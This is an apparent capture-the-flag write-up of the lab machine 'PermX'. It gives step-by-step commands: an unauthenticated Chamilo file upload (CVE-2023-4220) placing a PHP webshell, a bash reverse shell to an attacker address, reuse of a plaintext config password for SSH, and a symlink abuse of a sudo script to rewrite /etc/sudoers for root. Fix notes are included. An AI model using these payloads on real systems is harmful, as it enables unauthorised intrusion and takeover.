jperezduerto.info
PermX
Summary
I scanned the target, discovered an Apache web server hosting a Chamilo learning-management system on a virtual host, and exploited an unauthenticated arbitrary file-upload vulnerability (CVE-2023-4220) to install a PHP webshell and achieve remote code execution as the web server user. The Chamilo database configuration file stored a plaintext password that the OS account 'mtz' had reused for SSH login, granting an interactive shell.
Once logged in as mtz, a sudo rule permitted running a custom access-control script (/opt/acl.sh) as root on any caller-supplied file path; by replacing the target file with a symbolic link to /etc/sudoers, I tricked the script into granting mtz write access to the real sudoers file, into which a passwordless-sudo rule was appended — giving me a root shell and full control of the system.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Identify open ports and service banners.
$ nmap -sV -sC -p 22,80 $TARGETRegister the discovered virtual hostnames for local DNS resolution.
$ echo "$TARGET permx.htb lms.permx.htb" | sudo tee -a /etc/hostsConfirm the Chamilo application and capture the X-Powered-By version header.
$ curl -si http://lms.permx.htb/ | head -30Exact commands 2
Create a minimal PHP webshell on my machine.
$ printf '<?php system($_GET["c"]); ?>' > /tmp/rce.phpUpload the webshell with no credentials; expect 'successfully been uploaded' in the response.
$ curl -s --resolve lms.permx.htb:80:$TARGET -F 'bigUploadFile=@/tmp/rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'FixPatch Chamilo to eliminate the unauthenticated file-upload endpoint (CVE-2023-4220)Critical
Exact commands 3
Open a listener on my machine before triggering the shell.
$ nc -lvnp 4444Verify the webshell executes as www-data before launching the reverse shell.
$ curl -s --resolve lms.permx.htb:80:$TARGET 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?c=id'Trigger the bash reverse shell back to the listener.
$ curl -s --resolve lms.permx.htb:80:$TARGET --get --data-urlencode "c=bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'Exact commands 2
Run from the www-data reverse shell to extract the plaintext DB password.
$ grep -i 'password' /var/www/chamilo/app/config/configuration.phpList OS accounts that can log in interactively to identify reuse targets.
$ grep -vE '(nologin|false)' /etc/passwdFixEliminate plaintext credentials in configuration files and prohibit OS password reuseHigh
Exact commands 2
Authenticate over SSH with the credential recovered from the Chamilo config file.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no mtz@$TARGETRead the user flag: <user.txt>.
$ cat /home/mtz/user.txtExact commands 3
Confirm the unrestricted NOPASSWD /opt/acl.sh sudo rule as mtz.
$ sudo -lCreate the symlink that will trick the script into operating on /etc/sudoers.
$ rm -f /home/mtz/sudoers && ln -s /etc/sudoers /home/mtz/sudoersScript calls setfacl on the symlink target, granting mtz rw ACL on the real /etc/sudoers.
$ sudo /opt/acl.sh mtz rw /home/mtz/sudoersFixRemove or harden the sudo rule for /opt/acl.sh to prevent symlink-based privilege escalationCritical
Exact commands 3
Appending to the symlink writes to /etc/sudoers because mtz now holds ACL write on the target.
$ printf 'mtz ALL=(ALL) NOPASSWD: ALL\n' >> /home/mtz/sudoersOpen a root shell — no password required after the sudoers change.
$ sudo /bin/bashRead the root flag: <root.txt>.
$ cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.52 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.